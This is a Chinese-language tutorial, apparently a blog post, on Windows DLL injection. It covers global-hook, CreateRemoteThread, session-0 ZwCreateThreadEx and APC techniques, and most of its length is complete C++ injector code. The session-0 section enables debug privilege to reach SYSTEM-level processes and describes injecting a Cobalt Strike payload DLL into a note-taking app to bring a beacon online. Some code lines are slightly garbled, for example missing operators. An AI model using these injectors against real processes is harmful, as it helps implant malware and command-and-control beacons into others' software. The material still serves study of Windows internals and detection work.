何為dll注入
DLL注入技術,一般來講是向一個正在運行的進程插入/注入代碼的過程。我們注入的代碼以動态鍊接庫(DLL)的形式存在。DLL文件在運行時将按需加載(類似于UNIX系統中的共享庫(share object,擴展名為.so))。然而實際上,我們可以以其他的多種形式注入代碼(正如惡意軟件中所常見的,任意PE文件,shellcode代碼/程序集等)。
全局鈎子注入在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鈎子機制來截獲和監視系統中的這些消息。一般鈎子分局部鈎子與全局鈎子,局部鈎子一般用于某個線程,而全局鈎子一般通過dll文件實現相應的鈎子函數。
核心函數SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx(
__in int idHook, \\鈎子類型
__in HOOKPROC lpfn, \\回調函數地址
__in HINSTANCE hMod, \\實例句柄
__in DWORD dwThreadId); \\線程ID
通過設定鈎子類型與回調函數的地址,将定義的鈎子函數安裝到挂鈎鍊中。如果函數成功返回鈎子的句柄,如果函數失敗,則返回NULL
實現原理由上述介紹可以知道如果創建的是全局鈎子,那麼鈎子函數必須在一個DLL中。這是因為進程的地址空間是獨立的,發生對應事件的進程不能調用其他進程地址空間的鈎子函數。如果鈎子函數的實現代碼在DLL中,則在對應事件發生時,系統會把這個DLL加較到發生事體的進程地址空間中,使它能夠調用鈎子函數進行處理。
在操作系統中安裝全局鈎子後,隻要進程接收到可以發出鈎子的消息,全局鈎子的DLL文件就會由操作系統自動或強行地加載到該進程中。因此,設置全局鈎子可以達到DLL注入的目的。創建一個全局鈎子後,在對應事件發生的時候,系統就會把 DLL加載到發生事件的進程中,這樣,便實現了DLL注入。
為了能夠讓DLL注入到所有的進程中,程序設置WH_GETMESSAGE消息的全局鈎子。因為WH_GETMESSAGE類型的鈎子會監視消息隊列,并且 Windows系統是基于消息驅動的,所以所有進程都會有自己的一個消息隊列,都會加載 WH_GETMESSAGE類型的全局鈎子DLL。
那麼設置WH_GETMESSAGE就可以通過以下代碼實現,記得加上判斷是否設置成功
// 設置全局鈎子
BOOL SetHook()
{
g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
if (g_Hook == NULL)
{
return FALSE;
}
return TRUE;
}
這裡第二個參數是回調函數,那麼我們還需要寫一個回調函數的實現,這裡就需要用到CallNextHookEx這個api,主要是第一個參數,這裡傳入鈎子的句柄的話,就會把當前鈎子傳遞給下一個鈎子,若參數傳入0則對鈎子進行攔截
// 鈎子回調函數
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
return ::CallNextHookEx(g_Hook, code, wParam, lParam);
}
既然我們寫入了鈎子,如果不使用的情況下就需要将鈎子卸載掉,那麼這裡使用到UnhookWindowsHookEx這個api來卸載鈎子
// 卸載鈎子
BOOL UnsetHook()
{
if (g_Hook)
{
::UnhookWindowsHookEx(g_Hook);
}
}
既然我們使用到了SetWindowsHookEx這個api,就需要進行進程間的通信,進程通信的方法有很多,比如自定義消息、管道、dll共享節、共享内存等等,這裡就用共享内存來實現進程通信
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS"
首先新建一個dll
在pch.h頭文件裡面聲明這幾個我們定義的函數都是裸函數,由我們自己平衡堆棧
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
然後在pch.cpp裡面寫入三個函數并創建共享内存
// pch.cpp: 與預編譯标頭對應的源文件
#include "pch.h"
#include <windows.h>
#include <stdio.h>
extern HMODULE g_hDllModule;
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
//鈎子回調函數
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 設置鈎子
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (NULL == g_hHook) {
return FALSE;
}
return TRUE;
}
// 卸載鈎子
BOOL UnsetHook() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}
然後再在dllmain.cpp設置DLL_PROCESS_ATTACH,然後編譯生成Golbal.dll
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule = hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
再創建一個控制台項目
使用LoadLibrabryW加載dll,生成GolbalInjectDll.cpp文件
// GolbalInjectDll.cpp : 此文件包含 "main" 函數。程序執行将在此處開始并結束。
//
#include <iostream>
#include <Windows.h>
int main()
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibraryW(TEXT("F:\\C \\GolbalDll\\Debug\\GolbalDll.dll"));
if (NULL == hDll)
{
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (NULL == SetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.\n");
}
else
{
printf("SetGlobalHook ERROR.\n");
}
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (NULL == UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause");
return 0;
}
執行即可注入GolbalDll.dll
遠程線程注入
遠程線程函數顧名思義,指一個進程在另一個進程中創建線程。
核心函數CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
lpStartAddress:A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc).
lpParameter:A pointer to a variable to be passed to the thread function.
lpStartAddress即線程函數,使用LoadLibrary的地址作為線程函數地址;lpParameter為線程函數參數,使用dll路徑作為參數
VirtualAllocEx
是在指定進程的虛拟空間保留或提交内存區域,除非指定MEM_RESET參數,否則将該内存區域置0。
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
hProcess:申請内存所在的進程句柄
lpAddress:保留頁面的内存地址;一般用NULL自動分配 。
dwSize:欲分配的内存大小,字節單位;注意實際分 配的内存大小是頁内存大小的整數倍。
flAllocationType
可取下列值:
MEM_COMMIT:為特定的頁面區域分配内存中或磁盤的頁面文件中的物理存儲
MEM_PHYSICAL :分配物理内存(僅用于地址窗口擴展内存)
MEM_RESERVE:保留進程的虛拟地址空間,而不分配任何物理存儲。保留頁面可通過繼續調用VirtualAlloc()而被占用
MEM_RESET :指明在内存中由參數lpAddress和dwSize指定的數據無效
MEM_TOP_DOWN:在盡可能高的地址上分配内存(Windows 98忽略此标志)
MEM_WRITE_WATCH:必須與MEM_RESERVE一起指定,使系統跟蹤那些被寫入分配區域的頁面(僅針對Windows 98)
flProtect
可取下列值:
PAGE_READONLY: 該區域為隻讀。如果應用程序試圖訪問區域中的頁的時候,将會被拒絕訪
PAGE_READWRITE 區域可被應用程序讀寫
PAGE_EXECUTE: 區域包含可被系統執行的代碼。試圖讀寫該區域的操作将被拒絕。
PAGE_EXECUTE_READ :區域包含可執行代碼,應用程序可以讀該區域。
PAGE_EXECUTE_READWrite: 區域包含可執行代碼,應用程序可以讀寫該區域。
PAGE_GUARD: 區域第一次被訪問時進入一個STATUS_GUARD_PAGE異常,這個标志要和其他保護标志合并使用,表明區域被第一次訪問的權限
PAGE_NOACCESS: 任何訪問該區域的操作将被拒絕
PAGE_NOCACHE: RAM中的頁映射到該區域時将不會被微處理器緩存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE标志可以和其他标志合并使用以進一步指定頁的特征。PAGE_GUARD标志指定了一個防護頁(guard page),即當一個頁被提交時會因第一次被訪問而産生一個one-shot異常,接着取得指定的訪問權限。PAGE_NOCACHE防止當它映射到虛拟頁的時候被微處理器緩存。這個标志方便設備驅動使用直接内存訪問方式(DMA)來共享内存塊。
WriteProcessMemory
此函數能寫入某一進程的内存區域(直接寫入會出Access Violation錯誤),故需此函數入口區必須可以訪問,否則操作将失敗。
實現原理
BOOL WriteProcessMemory( HANDLE hProcess, //進程句柄 LPVOID lpBaseAddress, //寫入的内存首地址 LPCVOID lpBuffer, //要寫數據的指針 SIZE_T nSize, //x SIZE_T *lpNumberOfBytesWritten );
使用CreateRemoteThread這個API,首先使用CreateToolhelp32Snapshot拍攝快照獲取PID,然後使用Openprocess打開進程,使用VirtualAllocEx
遠程申請空間,使用WriteProcessMemory寫入數據,再用GetProcAddress獲取LoadLibraryW的地址(由于Windows引入了基址随機化ASLR安全機制,所以導緻每次開機啟動時系統DLL加載基址都不一樣,有些系統dll(kernel,ntdll)的加載地址,允許每次啟動基址可以改變,但是啟動之後必須固定,也就是說兩個不同進程在相互的虛拟内存中,這樣的系統dll地址總是一樣的),在注入進程中創建線程(CreateRemoteThread)
實現過程首先生成一個dll文件,實現簡單的彈窗即可
// dllmain.cpp : 定義 DLL 應用程序的入口點。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"success!", L"Congratulation", MB_OK); case DLL_THREAD_ATTACH: MessageBox(NULL, L"success!", L"Congratulation", MB_OK); case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
我們要想進行遠程線程注入,那麼就需要得到進程的pid,這裡使用到的是CreateToolhelp32Snapshot這個api拍攝快照來進行獲取,注意我這裡定義了#include "tchar.h",所有函數都是使用的寬字符
// 通過進程快照獲取PID DWORD _GetProcessPID(LPCTSTR lpProcessName) { DWORD Ret = 0; PROCESSENTRY32 p32; HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (lpSnapshot == INVALID_HANDLE_VALUE) { printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError()); return Ret; } p32.dwSize = sizeof(PROCESSENTRY32); ::Process32First(lpSnapshot, &p32); do { if (!lstrcmp(p32.szExeFile, lpProcessName)) { Ret = p32.th32ProcessID; break; } } while (::Process32Next(lpSnapshot, &p32)); ::CloseHandle(lpSnapshot); return Ret; }
首先使用OpenProcess打開進程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
然後使用VirtualAllocEx遠程申請空間
pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
然後寫入内存,使用WriteProcessMemory
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
然後創建線程并等待線程函數結束,這裡WaitForSingleObject的第二個參數要設置為-1才能夠一直等待
//在另一個進程中創建線程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL); //等待線程函數結束,獲得退出碼 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr);
綜上完整代碼如下
// RemoteThreadInject.cpp : 此文件包含 "main" 函數。程序執行将在此處開始并結束。 // #include <iostream> #include <windows.h> #include <TlHelp32.h> #include "tchar.h" char string_inject[] = "F:\\C \\Inject\\Inject\\Debug\\Inject.dll"; //通過進程快照獲取PID DWORD _GetProcessPID(LPCTSTR lpProcessName) { DWORD Ret = 0; PROCESSENTRY32 p32; HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (lpSnapshot == INVALID_HANDLE_VALUE) { printf("獲取進程快照失敗,請重試! Error:%d", ::GetLastError()); return Ret; } p32.dwSize = sizeof(PROCESSENTRY32); ::Process32First(lpSnapshot, &p32); do { if (!lstrcmp(p32.szExeFile, lpProcessName)) { Ret = p32.th32ProcessID; break; } } while (::Process32Next(lpSnapshot, &p32)); ::CloseHandle(lpSnapshot); return Ret; } //打開一個進程并為其創建一個線程 DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName) { //打開進程 HANDLE hprocess; HANDLE hThread; DWORD _Size = 0; BOOL Write = 0; LPVOID pAllocMemory = NULL; DWORD DllAddr = 0; FARPROC pThread; hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); //Size = sizeof(string_inject); _Size = (_tcslen(DllName) 1) * sizeof(TCHAR); //遠程申請空間 pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); if (pAllocMemory == NULL) { printf("VirtualAllocEx - Error!"); return FALSE; } // 寫入内存 Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); if (Write == FALSE) { printf("WriteProcessMemory - Error!"); return FALSE; } //獲取LoadLibrary的地址 pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread; //在另一個進程中創建線程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL); if (hThread == NULL) { printf("CreateRemoteThread - Error!"); return FALSE;1 } //等待線程函數結束,獲得退出碼 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr); //釋放DLL空間 VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT); //關閉線程句柄 ::CloseHandle(hprocess); return TRUE; } int main() { DWORD PID = _GetProcessPID(L"test.exe"); _RemoteThreadInject(PID, L"F:\\C \\Inject\\Inject\\Debug\\Inject.dll"); }
然後這裡生成一個test.exe來做測試
編譯并運行,實現效果如下
突破session 0的遠程線程注入
首先提一提session0的概念:
Intel的CPU将特權級别分為4個級别:RING0,RING1,RING2,RING3。Windows隻使用其中的兩個級别RING0和RING3,RING0隻給操作系統用,RING3誰都能用。如果普通應用程序企圖執行RING0指令,則Windows會顯示“非法指令”錯誤信息。
ring0是指CPU的運行級别,ring0是最高級别,ring1次之,ring2更次之…… 拿Linux x86來說, 操作系統(内核)的代碼運行在最高運行級别ring0上,可以使用特權指令,控制中斷、修改頁表、訪問設備等等。 應用程序的代碼運行在最低運行級别上ring3上,不能做受控操作。如果要做,比如要訪問磁盤,寫文件,那就要通過執行系統調用(函數),執行系統調用的時候,CPU的運行級别會發生從ring3到ring0的切換,并跳轉到系統調用對應的内核代碼位置執行,這樣内核就為你完成了設備訪問,完成之後再從ring0返回ring3。這個過程也稱作用戶态和内核态的切換。
RING設計的初衷是将系統權限與程序分離出來,使之能夠讓OS更好地管理當前系統資源,也使得系統更加穩定。舉個RING權限的最簡單的例子:一個停止響應的應用程式,它運行在比RING0更低的指令環上,你不必大費周章地想着如何使系統恢複運作,這期間,隻需要啟動任務管理器便能輕松終止它,因為它運行在比程式更低的RING0指令環中,擁有更高的權限,可以直接影響到RING0以上運行的程序,當然有利就有弊,RING保證了系統穩定運行的同時,也産生了一些十分麻煩的問題。比如一些OS虛拟化技術,在處理RING指令環時便遇到了麻煩,系統是運行在RING0指令環上的,但是虛拟的OS畢竟也是一個系統,也需要與系統相匹配的權限。而RING0不允許出現多個OS同時運行在上面,最早的解決辦法便是使用虛拟機,把OS當成一個程序來運行。
核心函數ZwCreateThreadEx
注意一下這個地方ZwCreateThreadEx這個函數在32位和64位中的定義不同
在32位的情況下
DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);
在64位的情況下
DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);
這裡因為我們要進到session 0那麼就勢必要到system權限,所以這裡還有幾個提權需要用到的函數
OpenProcessToken
BOOL OpenProcessToken( __in HANDLE ProcessHandle, //要修改訪問權限的進程句柄 __in DWORD DesiredAccess, //指定你要進行的操作類型 __out PHANDLE TokenHandle //返回的訪問令牌指針 );
LookupPrivilegeValueA
BOOL LookupPrivilegeValueA( LPCSTR lpSystemName, //要查看的系統,本地系統直接用NULL LPCSTR lpName, //指向一個以零結尾的字符串,指定特權的名稱 PLUID lpLuid //用來接收所返回的制定特權名稱的信息 );
AdjustTokenPrivileges
實現原理
BOOL AdjustTokenPrivileges( HANDLE TokenHandle, //包含特權的句柄 BOOL DisableAllPrivileges,//禁用所有權限标志 PTOKEN_PRIVILEGES NewState,//新特權信息的指針(結構體) DWORD BufferLength, //緩沖數據大小,以字節為單位的PreviousState的緩存區(sizeof) PTOKEN_PRIVILEGES PreviousState,//接收被改變特權當前狀态的Buffer PDWORD ReturnLength //接收PreviousState緩存區要求的大小 );
ZwCreateThreadEx比 CreateRemoteThread函數更為底層,CreateRemoteThread函數最終是通過調用ZwCreateThreadEx函數實現遠線程創建的。
通過調用CreateRemoteThread函數創建遠線程的方式在内核6.0(Windows VISTA、7、8等)以前是完全沒有問題的,但是在内核6.0 以後引入了會話隔離機制。它在創建一個進程之後并不立即運行,而是先挂起進程,在查看要運行的進程所在的會話層之後再決定是否恢複進程運行。
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統中,服務和應用程序使用相同的會話(Session)運行,而這個會話是由第一個登錄到控制台的用戶啟動的。該會話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務,也包含标準用戶應用程序。
将服務和用戶應用程序一起在Session 0中運行會導緻安全風險,因為服務會使用提升後的權限運行,而用戶應用程序使用用戶特權(大部分都是非管理員用戶)運行,這會使得惡意軟件以某個服務為攻擊目标,通過“劫持”該服務,達到提升自己權限級别的目的。
從Windows Vista開始,隻有服務可以托管到Session 0中,用戶應用程序和服務之間會被隔離,并需要運行在用戶登錄到系統時創建的後續會話中。例如第一個登錄的用戶創建 Session 1,第二個登錄的用戶創建Session 2,以此類推,如下圖所示。
使用CreateRemoteThread注入失敗DLL失敗的關鍵在第七個參數CreateThreadFlags, 他會導緻線程創建完成後一直挂起無法恢複進程運行,導緻注入失敗。而想要注冊成功,把該參數的值改為0即可。
實現過程在win10系統下如果我們要注入系統權限的exe,就需要使用到debug調試權限,所以先寫一個提權函數。
// 提權函數 BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; }
在進程注入dll的過程中,是不能夠使用MessageBox的,系統程序不能夠顯示程序的窗體,所以這裡編寫一個ShowError函數來獲取錯誤碼
void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); }
首先打開進程獲取句柄,使用到OpenProcess
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
然後是在注入的進程申請内存地址,使用到VirtualAllocEx
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
再使用WriteProcessMemory寫入内存
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)
加載ntdll,獲取LoadLibraryA函數地址
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
獲取ZwCreateThreadEx函數地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
使用 ZwCreateThreadEx創建遠線程, 實現 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
這裡還有一點需要注意的是ZwCreateThreadEx在 ntdll.dll 中并沒有聲明,所以我們需要使用 GetProcAddress從 ntdll.dll中獲取該函數的導出地址
這裡加上ZwCreateThreadEx的定義,因為64位、32位結構不同,所以都需要進行定義
#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);
完整代碼如下
// session0Inject.cpp : 此文件包含 "main" 函數。程序執行将在此處開始并結束。 // #include <Windows.h> #include <stdio.h> #include <iostream> void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } // 提權函數 BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; } // 使用 ZwCreateThreadEx 實現遠線程注入 BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName) { HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0; EnableDebugPrivilege(); // 打開注入進程,獲取進程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); if (hProcess == NULL) { printf("OpenProcess - Error!\n\n"); return -1 ; } // 在注入的進程申請内存地址 dwSize = ::lstrlen(pszDllFileName) 1; pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx - Error!\n\n"); return FALSE; } //寫入内存地址 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory - Error!\n\n"); return FALSE; } //加載ntdll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 獲取LoadLibraryA函數地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA - Error!\n\n"); return FALSE; } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif //獲取ZwCreateThreadEx函數地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread - Error!\n\n"); return FALSE; } // 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == ZwCreateThreadEx) { ShowError("ZwCreateThreadEx - Error!\n\n"); return FALSE; } // 關閉句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll); return TRUE; } int main(int argc, char* argv[]) { #ifdef _WIN64 BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll"); #else BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endif if (FALSE == bRet) { printf("Inject Dll Error!\n\n"); } printf("Inject Dll OK!\n\n"); return 0; }
因為在dll注入的過程中是看不到messagebox的,所以這裡我選擇cs注入進行測試,若注入成功即可上線
首先生成一個32位的dll文件,這裡跟位數有關,我選擇注入的是32位的進程,所以這裡我選擇生成32位的dll
得到路徑
這裡我選擇的是有道雲筆記進行注入,查看一下pid
然後把我們函數的pid改為有道雲的pid
實現效果如下所示
APC注入
APC,全稱為Asynchronous Procedure Call,即異步過程調用,是指函數在特定線程中被異步執行,在操作系統中,APC是一種并發機制。
這裡去看一下msdn中異步過程調用的解釋如下
首先第一個函數
QueueUserApc: 函數作用,添加指定的異步函數調用(回調函數)到執行的線程的APC隊列中
APCproc: 函數作用: 回調函數的寫法.
往線程APC隊列添加APC,系統會産生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,APC有兩種形式,由系統産生的APC稱為内核模式APC,由應用程序産生的APC被稱為用戶模式APC。這裡介紹一下應用程序的APC,APC是往線程中插入一個回調函數,但是用的APC調用這個回調函數是有條件的,如msdn所示
核心函數
QueueUserAPC
DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter );
QueueUserAPC 函數的第一個參數表示執行函數的地址,當開始執行該APC的時候,程序會跳轉到該函數地址處來執行。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權限。第三個參數表示傳遞給執行函數的參數,與遠線程注入類似,如果QueueUserAPC 的第一個參數為LoadLibraryA,第三個參數設置的是dll路徑即可完成dll注入。
實現原理在 Windows系統中,每個線程都會維護一個線程 APC隊列,通過QucueUserAPC把一個APC 函數添加到指定線程的APC隊列中。每個線程都有自己的APC隊列,這個 APC隊列記錄了要求線程執行的一些APC函數。Windows系統會發出一個軟中斷去執行這些APC 函數,對于用戶模式下的APC 隊列,當線程處在可警告狀态時才會執行這些APC 函數。一個線程在内部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數把自己挂起時就是進入可警告狀态,此時便會執行APC隊列函數。
通俗點來概括過程可分為以下幾步:
1)當EXE裡某個線程執行到SleepEx()或者WaitForSingleObjectEx()時,系統就會産生一個軟中斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。2)當線程再次被喚醒時,此線程會首先執行APC隊列中的被注冊的函數。3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數指針,如果我們插入的是Loadlibrary()執行函數的話,就能達到注入DLL的目的。
但是想要使用apc注入也有以下兩點條件:
1.必須是多線程環境下
2.注入的程序必須會調用那些同步對象
